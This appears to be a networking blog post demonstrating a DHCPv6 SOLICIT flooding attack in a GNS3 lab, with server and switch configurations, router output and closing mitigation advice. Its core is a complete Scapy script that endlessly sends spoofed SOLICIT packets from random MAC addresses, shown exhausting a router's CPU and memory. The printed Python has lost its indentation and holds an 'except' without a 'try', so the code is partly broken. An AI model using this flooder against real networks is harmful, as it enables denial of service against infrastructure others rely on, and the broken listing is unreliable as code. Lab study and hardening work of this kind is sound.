Fake DHCPv6 attack

DHCPv6 relies on stateless UDP communication using UDP 546 and UDP 547 ports. As stated in the RFC 3315 this makes DHCPv6 particularly vulnerable to fake attack, in which SOLICIT messages are generated with random source prefixes.

Using DHCPv6 Rapid-Commit mode, ONLY two messages are exchanged between the client and the server to get an IPv6 prefix.

Picture1: lab topology – IOS 12.4(24)T implemented in GNS3

DHCPv6 server configuration:

ipv6 dhcp pool SLAAC-POOL
address prefix 2001:DB8:5AB::/64 lifetime infinite infinite
dns-server 2001:DB8:5AB::57
domain-name nouri.com
interface FastEthernet1/0
ip address
ipv6 address 2001:DB8::202/64
ipv6 enable

ipv6 dhcp server pool0 rapid-commit

Layer2 Switch configuration:

interface FastEthernet1/0
switchport access vlan 10
interface FastEthernet1/1
switchport mode trunk

Below is the Scapy script used for the attack, though awkward, but do the job.

You can enter manually the DHCPv6 sever MAC address from the local neighbor table of through a script by pinging all DHCP agents multicast address FF02::1:2.

SOLCIT messages are sent blindly without even expecting any responses.


# -*- coding: utf-8 -*-
#! /usr/bin/env python
# DHCPv6 fake attack
# Date:     28/10/11
# Author:   AJ NOURI (cciethebeginning.wordpress.com)

from scapy.all import *
from netaddr import *
# or from netaddr.strategy.ipv6 import *
import random

class randmac():
""" Generates two forms of random MAC address
and corresponding Link Local EUI-64 IPv6 address"""
def __init__(self):
Generates MAC address string by chunks of one byte
self.mac11 = str(hex(random.randint(0,255))[2:])
self.mac12 = str(hex(random.randint(0,255))[2:])
self.mac21 = str(hex(random.randint(0,255))[2:])
self.mac22 = str(hex(random.randint(0,255))[2:])
self.mac31 = str(hex(random.randint(0,255))[2:])
self.mac32 = str(hex(random.randint(0,255))[2:])

def form1b(self):
""" format 1 XX:XX:XX:XX:XX:XX"""
self.rez1 =  self.mac11 + ":" +   self.mac12 + ":" +  self.mac21 + ":" +  self.mac22 + ":" +  self.mac31 + ":" +  self.mac32
return self.rez1

def form2b(self):
""" format 2 XXXX.XXXX.XXXX"""
self.rez2 =  self.mac11 +  self.mac12 + "." +  self.mac21 +   self.mac22 + "." +  self.mac31 +  self.mac32
return self.rez2

def eui64(self):
""" Generates interface ID in EUI-64 format"""
self.rez3 =  self.mac11 +  self.mac12 + ":" + self.mac21 + "ff" + ":" + "fe" +  self.mac22 + ":" +  self.mac31 + self.mac32
return self.rez3

def ip6_ll_eui64(self):
""" Generates Link-local  IPv6 addres in EUI-64 format"""
self.ip6_ll_eui64 = "fe80" + "::" + self.eui64()
return self.ip6_ll_eui64

def main():
# Building and initilizing DHCP SOLICIT packet layers with common parameters
l2 = Ether()
l3 = IPv6()
l4 = UDP()
sol = DHCP6_Solicit()
rc = DHCP6OptRapidCommit()
opreq = DHCP6OptOptReq()
et= DHCP6OptElapsedTime()
cid = DHCP6OptClientId()
iana = DHCP6OptIA_NA()
rc.optlen = 0
opreq.optlen = 4
iana.optlen = 12
iana.T1 = 0
iana.T2 = 0
cid.optlen = 10
""" DHCPv6 MAC address: you can enter manually or as argument to rthe script or get it automatically
""" by pinging DHCPv6 agent multicast ff02::1:2
macdst = "ca:00:39:b8:00:06"
l2.dst = macdst
l3.dst = "ff02::1:2"
l4.sport = 546
l4.dport = 547

#for i in range(1,1000):
while(1 == 1):
# Generating MAC and its corresponding IPv6 link-local in EUI-64 format
macs = randmac()
macsrc = macs.form1b()
ipv6llsrc = macs.ip6_ll_eui64()
# Initializaing the source addreses
l2.src = macsrc
l3.src = ipv6llsrc
# Generating SOLICIT message id
sol.trid = random.randint(0,16777215)
# Generating DUID-LL
cid.duid = ("00030001"+ str(EUI(macsrc)).replace("-","")).decode("hex")
# Assembing the packet
pkt = l2/l3/l4/sol/iana/rc/et/cid/opreq
# GO!
sendp(pkt, iface='eth1')
except KeyboardInterrupt:
print 'Program Interrupted by user'

if __name__=="__main__":main()

Picture2: Fake DHCPv6 SOLICIT packets in Wireshark

Victim router:

R2#sh ipv6 dhcp pool
Address allocation prefix: 2001:DB8:5AB::/64 valid 4294967295 preferred 4294967295 (91725 in use, 0 conflicts)
DNS server: 2001:DB8:5AB::57
Domain name: nouri.com
Active clients: 91725

Look already at the number of fake active clients!

With a mask of /64 there are 18,446,744,073,709,551,616 hosts. Obviously the purpose is not to deplete the DHCPv6 prefixes; it will take a ridiculous amount of time to exhaust the pool. It is about CPU and memory resources exhaustion.

Resource consumption:

Baseline (before the attack):

During the attack:

Baseline (before the attack):

During the attack:

100% of interrupt processing caused by DHCPv6 and ND processes activities.

R2#sh proc cpu
CPU utilization for five seconds: 92%/100%; one minute: 87%; five minutes: 83%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process

OK, maybe the effect on CPU will not be so harmful with HW equipments, but each binding table association will take the same amount of memory.

Thirty minutes later, the 128 Mbytes of our DHCPv6 router memory is depleted and the router starts firing syslog messages to signal the problem.

Imagine what you can do with a more sophisticated piece of software or with HW tools like Ixia or Spirent.

Pool: Processor Free: 58968 Cause: Memory fragmentation
Alternate Pool: None Free: 0 Cause: No Alternate pool
-Process= “DHCPv6 Server“, ipl= 0, pid= 266, -Traceback= 0x6000A944z 0x600238C8z 0x63D60D6Cz 0x6220DB68z 0x622152E8z 0x62210170z 0x62210498z 0x62211128z 0x622112C8z 0x63079090z 0x63079074z
*Jan 21 19:46:24.669: %SYS-2-MALLOCFAIL: Memory allocation of 320 bytes failed from 0x6220DB60, alignment 0

Here more self-explanatory figures about the event:

Picture3: CPU utilization

Picture4: memory utilization

Though the DHCPv6 SOLLICIT messages consume insignificant BW, the harm is caused by the amount of memory allocated by each packet.

The Denial of Service involves the binding table associated to the DHCPv6 configuration pool

The DHCPv6 server maintains an automatic binding table in memory to track the assignment of some configuration parameters, such as prefixes between the server and its clients.
The binding table contains the records about all the prefixes in the configuration pool that have been explicitly delegated to clients. Each entry in the binding table contains the following information:

  • Client DUID
  • Client IPv6 address
  • A list of IAPDs associated with the client
  • A list of prefixes delegated to each IAPD
  • Preferred and valid lifetimes for each prefix
  • The configuration pool to which this binding table belongs

To clear the DHCPv6 router binding table:

R2#clear ipv6 dhcp bind *

Threat mitigation:

Here is a couple of threat mitigation tools you need to consider to mitigate the attack:

802.1x for layer2 authentication before even attending DHCPc6 process.

Secure ND (SeND): is a more complex architecture requiring crypto, SeND capable hosts and PKI infrastructure. At least an entire post will be dedicated to it.

ND related security can be used in the Layer2 switch connecting DHCPv6 clients:

  • IPv6 device tracking to make sure neighbour table contains only live hosts.
  • ND inspection: reject ND messages if MAC is unverifiable.
  • Depending on the expected number of IPv6 users, you can set ND cache limit globally or per interface basis.





%d bloggers like this: